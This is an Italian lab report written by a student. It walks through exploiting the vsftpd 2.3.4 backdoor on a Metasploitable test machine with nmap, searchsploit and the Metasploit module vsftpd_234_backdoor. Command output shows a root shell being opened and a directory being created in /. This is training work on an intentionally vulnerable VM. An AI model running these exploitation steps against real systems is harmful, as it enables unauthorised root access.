

Claudio De cicco  
5/12/2022

## Report msfconsole

Come esercizio di oggi andremo ad effettuare una sessione di hacking sulla macchina metasploitable sul servizio **vsftpd**. Metasploitable configurato con ip **192.168.1.149**. Ottenuta la sessione andremo a creare una cartella nella directory di root.

Prima fase controllo con nmap sulle porte e successivamente sulla porta che ci interessa

```
(kali@kali)-[~]
$ nmap 192.168.1.149 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-05 04:55 EST
Nmap scan report for 192.168.1.149
Host is up (0.00047s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login?
514/tcp   open  shell    Netkit rshd
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs      2-4 (RPC #100003)
2121/tcp  open  ftp      ProFTPD 1.3.1
3306/tcp  open  mysql    MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc      VNC (protocol 3.3)
6000/tcp  open  X11      (access denied)
6667/tcp  open  irc      UnrealIRCd
8009/tcp  open  ajp13    Apache Jserv (Protocol v1.3)
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs:
linux:linux_kernel
```

```
(kali@kali)-[~]
$ nmap -A -p 21 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-05 08:04 EST
Nmap scan report for 192.168.1.149
Host is up (0.00066s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.1.100
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
Service Info: OS: Unix
```

Con il comando searchsploit andiamo a ricercare l'exploit per il determinato servizio che ci interessa.

```
(kali㉿kali)-[~]  
$ searchsploit vsftpd 2.3.4
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Dopodichè farò partire **msfconsole**. Per prima cosa andrò a ricercare all'interno di msfconsole l'exploit per il servizio che mi interessa.

```
msf6 > search vsftpd 2.3.4
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/ftp/vsftpd_234_backdoor`

Una volta trovato lo vado ad usare e vado a settare i campi di cui ho bisogno, in questo caso solo RHOST con l'ip di meta.

```
msf6 > use 0  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

```
Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  PAYLOAD   cmd/unix/interact

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Fatto questo faccio partire con “run” e vedo come viene creata la sessione.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.100:35423 -> 192.168.1.149:6200) at 2022-12-05 08:07:54 -0500
```

A questo punto dopo aver controllato di essere nella directory di root vado a creare una cartella “test\_metasploit”. E andrò a controllare sia dalla shell di sessione che su metasploitable che la creazione sia avvenuta con successo.

```
pwd
/  
mkdir test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
temp  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```

```
msfadmin@metasploitable:/$ pwd
```

```
msfadmin@metasploitable:/$ ls
```

bin	etc	lib	nohup.out	sbin	test_metasploit	vmlinuz
boot	home	lost+found	opt	srv	tmp	
cdrom	initrd	media	proc	sys	usr	
dev	initrd.img	mnt	root	temp	var	